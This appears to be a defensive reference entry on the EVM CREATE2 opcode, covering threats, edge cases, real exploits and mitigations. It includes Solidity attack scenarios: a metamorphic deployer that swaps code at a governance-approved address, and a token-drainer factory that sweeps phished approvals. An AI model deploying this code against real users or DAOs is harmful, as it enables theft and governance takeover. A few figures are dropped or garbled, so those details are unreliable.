Opcode Summary

PropertyValue
Opcode0xF5
MnemonicCREATE2
Gas32000 + 6*ceil(len/32) + memory_expansion_cost + code_deposit_cost
Stack Inputvalue, offset, length, salt
Stack Outputaddr (deployed contract address, or 0 on failure)
BehaviorDeploys a new contract using initialization code from memory at [offset, offset+length), sending value wei to the new contract. The deployment address is deterministic: keccak256(0xff ++ sender ++ salt ++ keccak256(init_code))[12:]. The salt is a 32-byte value chosen by the caller. Unlike CREATE (which uses the sender’s nonce), CREATE2 produces the same address for the same deployer, salt, and init_code regardless of nonce or deployment timing. Introduced in EIP-1014 (Constantinople, February 2019).

Threat Surface

CREATE2 is the most security-significant deployment opcode in the EVM. Its core innovation — deterministic, pre-computable contract addresses — enables powerful legitimate patterns (counterfactual wallets, factory contracts, off-chain state channels) but simultaneously creates a class of threats that no other opcode enables. The address is no longer a function of volatile state (nonce); it is a function of immutable inputs (deployer, salt, init_code hash), making it a cryptographic commitment that can be computed, shared, trusted, and abused long before any contract exists on-chain.

The threat surface centers on five properties:

  1. Deterministic addresses enable metamorphic contracts. Before EIP-6780 (Dencun, March 2024), a deployer could CREATE2 a contract, SELFDESTRUCT it to clear the address, then CREATE2 again at the same address with different init_code by varying the bytecode returned from a constructor that reads from external state. The address stayed the same but the runtime code changed — a “metamorphic contract.” This allowed an attacker to get a benign contract approved by governance or audited by users, destroy it, and redeploy malicious code at the same trusted address. EIP-6780 neutered this on L1 by restricting SELFDESTRUCT to only clear code/storage when called in the same transaction as creation, but L2s may not enforce this, and existing pre-Dencun contracts remain vulnerable.

  2. Pre-computed addresses bypass wallet security. Because CREATE2 addresses are known before deployment, attackers use them in phishing flows: a victim signs a token approval to an address that has no code, no transaction history, and no red flags. After the victim signs, the attacker deploys a drainer contract at that pre-computed address and immediately pulls the approved tokens. Wallet security systems that flag known malicious addresses are useless because each attack uses a fresh, never-before-seen address.

  3. Deployment front-running. Anyone who observes a pending CREATE2 transaction in the mempool can extract the salt and init_code, compute the target address, and front-run the deployment. If the front-runner deploys a contract at the target address first (using a different deployer that produces the same address is infeasible due to the deployer being part of the hash, but they can grief by deploying to the address first if they control the same deployer), the original deployment fails. More practically, if a protocol relies on CREATE2 to deploy to a known address from a factory, an attacker who compromises the factory’s deployer key can race to deploy malicious code at the expected address.

  4. Counterfactual trust assumptions. Protocols that pre-compute CREATE2 addresses and grant them permissions (token approvals, whitelisting, governance roles) before deployment assume the eventual code at that address will be the expected code. If the deployer is compromised, or if the init_code can be varied while preserving the address (e.g., constructor reads mutable storage), the deployed code may differ from what was trusted.

  5. Init code hashing adds gas cost. CREATE2 hashes the full init_code to compute the address, costing 6 gas per 32-byte word (SHA3 word cost) on top of the base 32000 gas. EIP-3860 (Shanghai) adds 2 gas per word for jumpdest analysis and caps init_code at 49,152 bytes. Large init_code increases deployment cost and can be used for gas griefing in factory patterns where the caller supplies init_code.


Smart Contract Threats

T1: Metamorphic Contracts — Code Replacement at a Trusted Address (Critical)

CREATE2’s deterministic addressing, combined with SELFDESTRUCT, enabled contracts to be destroyed and redeployed with different runtime code at the same address. This is the highest-severity CREATE2 threat because it violates the fundamental assumption that a contract’s code is immutable once deployed.

  • The attack pattern. A deployer contract uses CREATE2 with a fixed salt to deploy a “morph” contract. The morph contract’s constructor does not contain the runtime code directly — instead, it reads the desired runtime bytecode from a storage variable on the deployer, then returns it via CODECOPY. The deployer first sets the storage to “benign bytecode” and deploys. After the benign contract is approved/audited/trusted, the deployer calls SELFDESTRUCT on the morph contract (or the morph self-destructs), clearing the address. The deployer then updates its storage to “malicious bytecode” and calls CREATE2 with the same salt. The init_code is identical (same constructor that reads from storage), so keccak256(init_code) is the same, producing the same address — but the runtime code is now malicious.

  • Why the address stays the same. The CREATE2 address depends on keccak256(init_code), not on the runtime code. The init_code (constructor) is deterministic, but what it returns as runtime code can vary if the constructor reads from external mutable state (deployer storage, other contracts, even block variables).

  • Governance takeover. If a DAO’s governance system approves a proposal contract at a CREATE2 address, and the governance executor uses delegatecall to run the proposal’s code, the attacker can destroy the benign proposal and redeploy malicious code before execution. The governance system still trusts the address, and the delegatecall executes arbitrary attacker-controlled code with the DAO’s permissions.

  • EIP-6780 mitigation (L1 only, post-Dencun). Since March 2024, SELFDESTRUCT only clears code and storage when called in the same transaction as the contract’s creation. This means a contract deployed via CREATE2 in transaction N cannot be self-destructed and redeployed in transaction N+1 — the self-destruct in N+1 only sends ETH, leaving code and storage intact. Metamorphic contracts are effectively dead on L1. However: (a) L2s may not enforce EIP-6780, (b) contracts created and self-destructed within the same transaction can still morph, and (c) pre-Dencun contracts with latent metamorphic capability remain unchanged.

Why it matters: Metamorphic contracts broke code immutability — the single most important security property of deployed smart contracts. Any system that trusted a CREATE2 address before Dencun was potentially vulnerable.

T2: Deployment Front-Running and Address Squatting (High)

Because CREATE2 addresses are deterministic and publicly computable, an attacker who learns the deployer address, salt, and init_code before deployment can attempt to interfere:

  • Factory key compromise. If a protocol uses a factory contract to CREATE2 child contracts at pre-announced addresses, and the factory’s admin key is compromised, the attacker can deploy malicious contracts at every expected address before the protocol does. Users who trusted the pre-computed addresses now interact with attacker-controlled code.

  • Mempool front-running. A pending CREATE2 transaction reveals the deployment parameters. While an external party cannot deploy to the same address (different deployer address in the hash), a miner/validator can censor the transaction and, if they control the deployer, race to deploy different code. In factory patterns where the factory is the deployer, anyone with access to call the factory’s deploy function can front-run.

  • Salt grinding. If the deployer contract allows arbitrary callers to supply the salt, an attacker can front-run a legitimate deployment by calling the factory with the same salt first, deploying a contract that immediately self-destructs (pre-Dencun) or simply occupies the address. The legitimate deployment then fails because the address is non-empty.

Why it matters: Protocols that announce CREATE2 addresses before deployment (e.g., for off-chain signature collection, pre-approvals, or marketing) create a window where those addresses can be targeted.

T3: Pre-Deployed Address Trust Exploitation — Wallet Drainers (High)

CREATE2’s address predictability has been weaponized in large-scale phishing operations:

  • The drainer flow. The attacker pre-computes a CREATE2 address but does not deploy a contract there. The address appears as a clean EOA with no code and no transaction history. The attacker creates a phishing site that tricks victims into signing ERC-20 approve() or permit() transactions granting the pre-computed address unlimited token allowance. After victims sign, the attacker deploys a drainer contract at the pre-computed address. The drainer’s constructor or a post-deployment call immediately pulls all approved tokens from every victim.

  • Bypasses wallet security. Wallet extensions and security services maintain blacklists of known malicious addresses. CREATE2 drainers generate a fresh address for each campaign (or even each victim), so the address has never appeared in any blacklist, has no on-chain history, and has no code at the time the victim signs the approval.

  • Address poisoning variant. Attackers use CREATE2 to generate addresses that visually resemble a victim’s frequently-used addresses (matching the first and last few characters). When the victim copies an address from transaction history, they may accidentally copy the attacker’s look-alike address. The attacker never even needs the victim to visit a phishing site.

Why it matters: CREATE2 drainers have stolen over $60M from approximately 99,000 victims in a single six-month campaign (May-November 2023). The technique is generic and scales to any token on any EVM chain.

T4: Init Code Hash Collision and Substitution (Medium)

The CREATE2 address formula hashes the init_code, not the runtime code. This creates subtle trust issues:

  • Same address, different runtime. Two different init_codes that happen to return different runtime bytecodes will produce different addresses (because keccak256(init_code) differs). But a single init_code that reads external state (as in T1) can produce different runtime bytecodes while keeping the same init_code hash. This is the metamorphic vector. Even without metamorphism, a constructor that takes constructor arguments appended to the init_code changes the hash — subtle argument changes produce entirely different addresses.

  • Factory deployment trust. When a factory contract deploys children via CREATE2, users trust that the factory’s deploy() function uses a specific init_code. If the factory is upgradeable or has an admin-controlled init_code parameter, the admin can change the child contract’s code while preserving the factory address, breaking user assumptions about what gets deployed.

  • Init_code size limits (EIP-3860). Since Shanghai, init_code is capped at 49,152 bytes and metered at 2 gas per 32-byte word (plus CREATE2’s 6 gas per word for hashing). Supplying init_code near the limit increases gas cost significantly and can cause deployment failure if gas estimation is too low.

Why it matters: The CREATE2 address is a commitment to the init_code, not the runtime code. Any pattern where the init_code can vary its output introduces a gap between what the address “promises” and what it delivers.

T5: Counterfactual Deployment Trust Assumptions (Medium)

Counterfactual instantiation — trusting a pre-computed CREATE2 address before any contract exists there — is a core pattern for state channels, smart wallets, and protocol factories. The trust assumptions are fragile:

  • Pre-approval to non-existent contracts. Protocols that grant token approvals, whitelist roles, or deposit funds to a CREATE2 address before deployment assume the deployer will eventually deploy the expected code. If the deployer is compromised, goes offline, or deploys different code, the pre-approved permissions apply to unexpected code (or to nothing, permanently locking funds).

  • Counterfactual wallet bootstrapping. Smart wallet factories (e.g., ERC-4337 account factories) pre-compute wallet addresses so users can receive funds before the wallet is deployed. The wallet is deployed on first use. If the factory contract is compromised or the init_code is changed, the deployed wallet code may differ from what the user expected, potentially allowing the factory operator to drain funds.

  • Cross-chain counterfactual addresses. A CREATE2 address on chain A does not guarantee the same code at the same address on chain B, even with the same deployer and salt, because the deployer contract itself may have different code or state across chains. Users who assume “same address = same contract” across chains may interact with unrelated or malicious code.

Why it matters: Counterfactual deployment is critical infrastructure for account abstraction (ERC-4337), state channels, and protocol factories. Trust in pre-computed addresses without verifying deployed code is a systemic risk.


Protocol-Level Threats

P1: EIP-6780 — SELFDESTRUCT Neutering Broke Metamorphic on L1, Not L2 (Medium)

EIP-6780 (Dencun, March 2024) restricts SELFDESTRUCT to only clear code and storage when the self-destructing contract was created in the same transaction. This eliminates the cross-transaction metamorphic pattern on Ethereum L1.

Security implications:

  • L1 is protected (post-Dencun). The canonical SELFDESTRUCT + CREATE2 metamorphic attack requires destroying a contract in one transaction and redeploying in another. EIP-6780 prevents the code deletion step, so the address remains occupied and CREATE2 redeployment fails (EIP-684: deployment to non-empty address reverts).

  • L2s may lag. L2 chains implement their own execution environments and may not enforce EIP-6780 identically. OP Stack chains (Optimism, Base) and Arbitrum track Ethereum L1 EIPs with a delay. During any gap, metamorphic contracts may still be possible on those chains. Some L2s may intentionally diverge from EIP-6780 semantics.

  • Same-transaction metamorphism survives. A contract created and self-destructed within the same transaction still has its code cleared. This means a factory contract that deploys, calls SELFDESTRUCT on the child, and redeploys with different code in a single transaction can still create metamorphic contracts. The window is a single transaction, but automated exploit contracts can use this.

  • Pre-Dencun contracts. Contracts deployed before Dencun that had metamorphic capability (a SELFDESTRUCT function and a CREATE2 deployer) retain their code. The code itself is unchanged; only the SELFDESTRUCT behavior changed. If these contracts never self-destructed pre-Dencun, their metamorphic capability is now dead. If they did self-destruct pre-Dencun, their address is empty and could theoretically be redeployed to via CREATE2.

P2: State Bloat via Mass CREATE2 Deployment (Low)

CREATE2 enables cheap, deterministic mass deployment of contracts:

  • Address preimage grinding. An attacker can iterate over salts to generate addresses with specific properties (e.g., leading zeros for vanity addresses, or addresses that collide with specific bit-patterns for gas optimization). Each deployment creates a new state entry. While the 32000 base gas + code deposit cost provides rate-limiting, sustained high-gas-limit blocks can create thousands of contracts.

  • Factory spam. A malicious factory can deploy and immediately self-destruct contracts in the same transaction (post-Dencun, this clears code), or deploy minimal contracts that persist permanently. Each persisted contract adds to state size.

  • Init_code metering (EIP-3860). Shanghai added 2 gas per 32-byte word of init_code on top of CREATE2’s 6 gas per word for hashing. Combined with the 49,152-byte init_code cap, this limits the gas cost of init_code processing to a bounded range but does not prevent mass deployment of small contracts.


Edge Cases

Edge CaseBehaviorSecurity Implication
Same deployer + same salt + same init_codeProduces the same address. If address is empty, deployment succeeds. If address is non-empty (has code or non-zero nonce), deployment fails (returns 0).Prevents accidental double-deployment. Also prevents re-deployment after EIP-6780 (code persists post-SELFDESTRUCT).
Deploying to non-empty address (code or nonce != 0)CREATE2 returns 0 (failure) per EIP-684. No revert, just pushes 0 onto the stack.Callers that do not check the return value will continue execution assuming deployment succeeded, potentially interacting with the pre-existing contract at that address.
salt = 0Valid. Address is keccak256(0xff ++ sender ++ bytes32(0) ++ keccak256(init_code))[12:]No special behavior; zero is a valid salt. Predictable default that anyone can compute.
Init code returns empty (0-length runtime code)Deployment succeeds, creating a contract with no code at the address. Nonce is set to 1.The address is now “occupied” (nonce != 0), preventing future CREATE2 to the same address. A contract with no code accepts ETH via plain transfers but cannot execute logic.
Init code revertsCREATE2 returns 0 (failure). No contract is created; the address remains empty.The address can be retried with the same or different init_code. Gas for init_code execution is consumed.
Init code hash collision (two different init_codes producing same keccak256)Theoretically produces the same address. Practically infeasible (keccak256 collision requires ~2^128 operations).Not a realistic attack vector. The 0xff prefix prevents collision with CREATE-derived addresses.
CREATE2 inside a constructorThe deploying contract’s address during construction is its final address. CREATE2 from within a constructor uses the parent’s (not-yet-fully-deployed) address as the sender.Nested CREATE2 produces predictable addresses based on the outer contract’s address, which is itself deterministic. Complex factory patterns must account for this nesting.
Value transfer to CREATE2 deploymentThe value parameter sends ETH to the new contract. If init_code reverts, ETH is returned to the caller.Sending ETH to a CREATE2 deployment that fails is safe (ETH returns). But sending ETH to a metamorphic address that gets redeployed means the new code controls the ETH.
Init_code exceeds 49,152 bytes (post-Shanghai, EIP-3860)CREATE2 fails immediately with an out-of-gas-like error.Prevents deployment of excessively large contracts. Callers supplying user-provided init_code must validate size.

Real-World Exploits

Exploit 1: Tornado Cash Governance Takeover via Metamorphic CREATE2 ($2.17M, May 2023)

Root cause: CREATE2 + SELFDESTRUCT metamorphic contract substitution bypassed governance proposal verification.

Details: On May 13-20, 2023, an attacker submitted a governance proposal to the Tornado Cash DAO that appeared identical to a previously approved, legitimate proposal. The proposal contract was deployed using a deployer contract that used CREATE2 with a fixed salt. The constructor of the proposal read its runtime bytecode from the deployer’s storage, meaning the init_code was deterministic but the runtime code was externally controlled.

The benign version passed governance voting. After approval, the attacker triggered SELFDESTRUCT on the proposal contract, clearing the address. The attacker then updated the deployer’s storage to contain malicious bytecode and called CREATE2 with the same salt. Because the init_code (constructor) was identical, keccak256(init_code) was unchanged, and the same address was produced. The governance system, which used delegatecall to execute approved proposals at their addresses, now executed the malicious code with full governance privileges.

The malicious code artificially inflated the attacker’s TORN token balance to 1,200,000 votes — far exceeding the legitimate ~700,000 votes in circulation — giving the attacker majority control of the entire governance system.

CREATE2’s role: CREATE2’s deterministic addressing was the enabling mechanism. The attack depended on redeploying different runtime code at the same address while keeping keccak256(init_code) constant. Without CREATE2, the redeployed contract would have a different address and would not inherit the governance approval.

Impact: ~$2.17M in TORN tokens stolen. Complete takeover of Tornado Cash governance, including control over all protocol parameters and treasury. The attacker later submitted a proposal to undo the damage (partially restoring governance), but the exploit demonstrated the catastrophic potential of metamorphic contracts in governance systems.

References:


Exploit 2: CREATE2 Wallet Drainers — $60M+ Stolen via Pre-Computed Addresses (May-November 2023)

Root cause: CREATE2 address pre-computation allowed phishing attackers to generate fresh, unblacklisted contract addresses for each drainer campaign, bypassing wallet security systems.

Details: Between May and November 2023, a systematic phishing operation used CREATE2 to steal approximately $60 million from nearly 99,000 victims across Ethereum and EVM-compatible chains. The attack operated in two variants:

Variant 1 — Direct draining: The attacker pre-computed a CREATE2 address using a deployer contract, a chosen salt, and the drainer contract’s init_code. The address was clean — no code, no transaction history, no blacklist entries. The attacker created phishing sites mimicking legitimate DeFi protocols (airdrops, NFT mints, token claims) that prompted victims to sign approve(), permit(), or setApprovalForAll() transactions granting the pre-computed address unlimited token access. After collecting sufficient approvals, the attacker deployed the drainer contract at the pre-computed address. The drainer’s first transaction pulled all approved tokens from all victims simultaneously. One victim lost $927,000 in GMX tokens in a single drainer deployment.

Variant 2 — Address poisoning: The attacker used CREATE2 to generate addresses with leading and trailing characters matching a victim’s frequently-used recipient addresses. The attacker sent tiny token transfers from these look-alike addresses to the victim, poisoning their transaction history. When the victim later copied an address from their history to send a larger transfer, they inadvertently copied the attacker’s look-alike address. This variant stole approximately 1.6 million.

CREATE2’s role: CREATE2 was the sole enabler of both variants. Variant 1 depends on computing contract addresses before deployment to collect approvals to a “clean” address. Variant 2 depends on grinding salts until the generated CREATE2 address matches the desired visual pattern. Neither attack is possible with CREATE (nonce-based, unpredictable addresses) or with pre-deployed contracts (which would appear on blacklists).

Impact: $60M+ stolen from ~99,000 victims over six months. Demonstrated that CREATE2’s address predictability is a systemic risk for the entire EVM wallet security model.

References:


Exploit 3: Wintermute — Vanity Address Generation via CREATE2/Profanity ($160M, September 2022)

Root cause: Wintermute’s admin EOA was generated using the Profanity vanity address tool, which had a 32-bit seed vulnerability. The address was used as the admin of a DeFi vault, and the compromised key allowed full vault drainage.

Details: Wintermute used a vanity address (starting with 0x0000000) as the admin key for their DeFi vault contract. The address was generated using Profanity, a GPU-accelerated vanity address generator that iterated over seeds to find addresses matching a desired pattern. Profanity’s pseudo-random number generator used only a 32-bit seed (2^32 possible values), reducing the keyspace from 2^256 to approximately 2^64 for a 7-character vanity prefix — brute-forceable with modest GPU resources.

On September 15, 2022, 1inch publicly disclosed the Profanity vulnerability. Wintermute moved ETH out of the compromised address but failed to revoke its admin role on the vault contract. Five days later, the attacker derived the private key (estimated at ~50 days with 1,000 GPUs, or far less with precomputed tables) and called the vault’s admin functions with msg.sender == admin_address, draining 120M stablecoins, 20M altcoins).

CREATE2’s connection: While the exploit’s root cause was Profanity’s weak seed, the broader pattern of CREATE2-based vanity address generation is relevant. CREATE2 enables deployer contracts to grind over salts to find deployment addresses with specific vanity patterns. The same brute-force approach that compromised Wintermute’s EOA applies to CREATE2 deployers that use weak or limited salt spaces to generate vanity contract addresses. If a CREATE2 factory uses a predictable or small salt space, an attacker can precompute all possible deployment addresses and front-run or predict future deployments.

Impact: $160M stolen. Third-largest DeFi hack of 2022 at the time. Established that address-generation tooling is a critical security dependency.

References:


Attack Scenarios

Scenario A: Metamorphic Contract — Governance Proposal Swap

contract MetamorphicDeployer {
    bytes public runtimeBytecode;
    bytes32 public constant SALT = keccak256("proposal-v1");
 
    function setCode(bytes memory _code) external {
        runtimeBytecode = _code;
    }
 
    function deploy() external returns (address) {
        // Init code: constructor that reads runtime bytecode from this deployer
        // and returns it. The init_code is always identical regardless of what
        // runtimeBytecode contains, so keccak256(init_code) is constant.
        bytes memory initCode = abi.encodePacked(
            type(MorphProxy).creationCode,
            abi.encode(address(this))
        );
 
        address addr;
        assembly {
            addr := create2(0, add(initCode, 0x20), mload(initCode), SALT)
        }
        return addr;
    }
 
    function predictAddress() external view returns (address) {
        bytes memory initCode = abi.encodePacked(
            type(MorphProxy).creationCode,
            abi.encode(address(this))
        );
        bytes32 hash = keccak256(abi.encodePacked(
            bytes1(0xff),
            address(this),
            SALT,
            keccak256(initCode)
        ));
        return address(uint160(uint256(hash)));
    }
}
 
contract MorphProxy {
    constructor(address deployer) {
        // Read desired runtime code from the deployer's storage
        bytes memory code = MetamorphicDeployer(deployer).runtimeBytecode();
        assembly {
            return(add(code, 0x20), mload(code))
        }
    }
}
 
// Attack flow (pre-Dencun):
// 1. deployer.setCode(benignProposalBytecode)
// 2. deployer.deploy() -> address X with benign code
// 3. Governance approves proposal at address X via delegatecall
// 4. Attacker calls X.selfDestruct() to clear the address
// 5. deployer.setCode(maliciousBytecode)
// 6. deployer.deploy() -> address X again, now with malicious code
// 7. Governance executes proposal at X -- runs malicious code with DAO permissions

Scenario B: CREATE2 Wallet Drainer with Fresh Address

contract DrainerFactory {
    function computeDrainerAddress(bytes32 salt) external view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(
            bytes1(0xff),
            address(this),
            salt,
            keccak256(type(TokenDrainer).creationCode)
        )))));
    }
 
    // Step 2: After victim approves tokens to the pre-computed address,
    // deploy the drainer and immediately drain
    function deployAndDrain(
        bytes32 salt,
        address[] calldata tokens,
        address[] calldata victims
    ) external {
        TokenDrainer drainer = new TokenDrainer{salt: salt}();
 
        for (uint256 i = 0; i < tokens.length; i++) {
            for (uint256 j = 0; j < victims.length; j++) {
                drainer.drain(tokens[i], victims[j]);
            }
        }
    }
}
 
contract TokenDrainer {
    address immutable owner;
 
    constructor() {
        owner = tx.origin;
    }
 
    function drain(address token, address victim) external {
        uint256 allowance = IERC20(token).allowance(victim, address(this));
        if (allowance > 0) {
            uint256 balance = IERC20(token).balanceOf(victim);
            uint256 amount = allowance < balance ? allowance : balance;
            IERC20(token).transferFrom(victim, owner, amount);
        }
    }
}
 
// Attack flow:
// 1. Attacker calls computeDrainerAddress(salt) to get clean address Y
// 2. Phishing site tricks victim into calling token.approve(Y, type(uint256).max)
// 3. Y has no code, no history -- wallet security sees nothing suspicious
// 4. Attacker calls deployAndDrain(salt, tokens, victims)
// 5. Drainer deploys at Y and immediately pulls all approved tokens

Scenario C: Counterfactual Address Front-Running

contract WalletFactory {
    function createWallet(address owner, bytes32 salt) external returns (address) {
        // Anyone can call this -- salt is the only deployment parameter
        return address(new SmartWallet{salt: salt}(owner));
    }
 
    function getWalletAddress(address owner, bytes32 salt) external view returns (address) {
        return address(uint160(uint256(keccak256(abi.encodePacked(
            bytes1(0xff),
            address(this),
            salt,
            keccak256(abi.encodePacked(type(SmartWallet).creationCode, abi.encode(owner)))
        )))));
    }
}
 
// Attack: User publishes address W = factory.getWalletAddress(user, salt)
// and asks friends to send ETH to W before deploying the wallet.
//
// Attacker front-runs the deployment:
// 1. Observes user's pending createWallet(user, salt) in the mempool
// 2. Calls createWallet(attacker, differentSalt) -- this deploys at a different
//    address, so doesn't directly interfere. But...
// 3. If the factory has a flaw where salt alone determines the address
//    (without including the owner in the hash), the attacker can call
//    createWallet(attacker, salt) first, deploying an attacker-owned
//    wallet at address W. All pre-sent ETH now belongs to the attacker.
//
// Mitigation: Always include the owner address in the CREATE2 salt or init_code.

Scenario D: Same-Transaction Metamorphism (Post-Dencun)

contract PostDencunMetamorphic {
    // EIP-6780 still allows SELFDESTRUCT to clear code in the SAME transaction
 
    function morphInOneTx(
        address deployer,
        bytes32 salt,
        bytes memory benignCode,
        bytes memory maliciousCode
    ) external {
        // Step 1: Deploy benign contract
        MetamorphicDeployer(deployer).setCode(benignCode);
        address child = MetamorphicDeployer(deployer).deploy();
 
        // Step 2: Self-destruct in same tx (EIP-6780 allows this)
        SelfDestructable(child).destroy();
 
        // Step 3: Redeploy with malicious code at same address
        MetamorphicDeployer(deployer).setCode(maliciousCode);
        address redeployed = MetamorphicDeployer(deployer).deploy();
 
        // redeployed == child -- same address, different code
        // All within a single transaction
    }
}
 
// This is a narrower attack window than pre-Dencun metamorphism but still
// exploitable by automated contracts, especially in governance systems that
// verify proposal code in the same transaction as execution.

Mitigations

ThreatMitigationImplementation
T1: Metamorphic contractsVerify contract code at execution time, not just at approval timeUse EXTCODEHASH to check runtime code hash immediately before delegatecall or interaction; compare against a known-good hash
T1: Metamorphic contracts (L1)Rely on EIP-6780 post-DencunOn L1 post-March 2024, cross-transaction metamorphism is dead. Verify L2 chains enforce EIP-6780 before assuming the same protection.
T1: Same-tx metamorphismSeparate verification and execution across transactionsDo not verify and execute a proposal in the same transaction; require a time delay between approval and execution
T2: Deployment front-runningInclude msg.sender in the saltbytes32 salt = keccak256(abi.encodePacked(msg.sender, userSalt)) ensures only the intended deployer can produce the target address
T2: Factory key compromiseUse multi-sig or governance for factory adminProtect factory deploy functions with OpenZeppelin AccessControl or Gnosis Safe multi-sig
T3: Wallet drainersNever approve tokens to addresses with no codeWallets should warn when approving to an address with EXTCODESIZE == 0; use permit with short deadlines instead of persistent approvals
T3: Address poisoningVerify full address, not just prefix/suffixDisplay full addresses in wallet UIs; highlight middle bytes that differ from known contacts
T4: Init code substitutionHash constructor arguments into salt or verify runtime code post-deploybytes32 salt = keccak256(abi.encodePacked(userSalt, args)) binds the address to specific constructor arguments
T5: Counterfactual trustVerify code exists before interactingrequire(addr.code.length > 0) before transferring tokens or granting permissions to a CREATE2 address
T5: Cross-chain addressDo not assume same address = same code across chainsVerify EXTCODEHASH on each chain independently; use chain-specific registries
General: Salt predictabilityUse unpredictable salts incorporating entropybytes32 salt = keccak256(abi.encodePacked(block.prevrandao, msg.sender, nonce))

Compiler/EIP-Based Protections

  • EIP-1014 (Constantinople, 2019): Introduced CREATE2. The 0xff prefix byte prevents address collision with CREATE-derived addresses (which use RLP encoding, where 0xff is not a valid starting byte for typical nonces).
  • EIP-684: Prevents deployment to addresses with existing code or non-zero nonce. CREATE2 returns 0 (failure) instead of overwriting. This is the last line of defense against accidental or intentional address reuse.
  • EIP-3860 (Shanghai, 2023): Caps init_code at 49,152 bytes and meters it at 2 gas per 32-byte word. Limits gas griefing via oversized init_code and bounds the cost of jumpdest analysis.
  • EIP-6780 (Dencun, 2024): Restricts SELFDESTRUCT to only clear code/storage when called in the same transaction as creation. Effectively kills cross-transaction metamorphic contracts on L1.
  • Solidity >= 0.8.0: The new Contract{salt: salt}(args) syntax compiles to CREATE2 and automatically checks the return value, reverting on deployment failure. Raw assembly create2 does not revert — callers must check the return value manually.

Severity Summary

Threat IDCategorySeverityLikelihoodReal-World Precedent
T1Smart ContractCriticalMedium (Low on L1 post-Dencun)Tornado Cash governance takeover ($2.17M, May 2023)
T2Smart ContractHighMediumFactory key compromises; mempool front-running of CREATE2 deploys
T3Smart ContractHighHighCREATE2 wallet drainers ($60M+, 99K victims, 2023)
T4Smart ContractMediumLowTheoretical; init code hash collision is computationally infeasible, but substitution via mutable constructors is real
T5Smart ContractMediumMediumERC-4337 counterfactual wallet trust assumptions; cross-chain address reuse issues
P1ProtocolMediumLowEIP-6780 mitigates L1 but L2 divergence is ongoing risk
P2ProtocolLowLowState bloat is a general EVM concern; CREATE2 contributes but is not the primary vector

OpcodeRelationship
CREATE (0xF0)Nonce-based contract deployment. Address is keccak256(rlp([sender, nonce]))[12:] — non-deterministic and unpredictable. CREATE2 was introduced specifically to enable deterministic addresses that CREATE cannot provide. CREATE addresses cannot be pre-computed reliably because the sender’s nonce may change.
SELFDESTRUCT (0xFF)Historically cleared contract code and storage, enabling the SELFDESTRUCT + CREATE2 metamorphic pattern. EIP-6780 (Dencun) neutered SELFDESTRUCT for contracts not created in the same transaction, breaking the metamorphic cycle on L1. SELFDESTRUCT remains the critical companion opcode for the most severe CREATE2 threat (T1).
KECCAK256 (0x20)CREATE2 uses KECCAK256 internally to hash the init_code as part of the address computation. The 6 gas per 32-byte word cost for CREATE2 reflects this hashing. KECCAK256’s collision resistance (2^128 security) is what makes CREATE2 address prediction reliable and init_code hash collision infeasible.
EXTCODEHASH (0x3F)Returns the keccak256 hash of a contract’s runtime code. Essential mitigation for metamorphic contracts (T1): by checking EXTCODEHASH(addr) before interacting, a contract can verify that the code at a CREATE2 address matches the expected hash, detecting code substitution.
EXTCODESIZE (0x3B)Returns the size of code at an address. Useful for verifying that a CREATE2 address has been deployed (EXTCODESIZE > 0) before interacting. Key mitigation for wallet drainer attacks (T3): wallets should warn when approving tokens to addresses with no code.
DELEGATECALL (0xF4)Governance systems that use delegatecall to execute approved proposals are the primary target of metamorphic contract attacks (T1). The combination of CREATE2 (deterministic address) + SELFDESTRUCT (clear address) + delegatecall (execute at trusted address) was the exact exploit chain in the Tornado Cash governance takeover.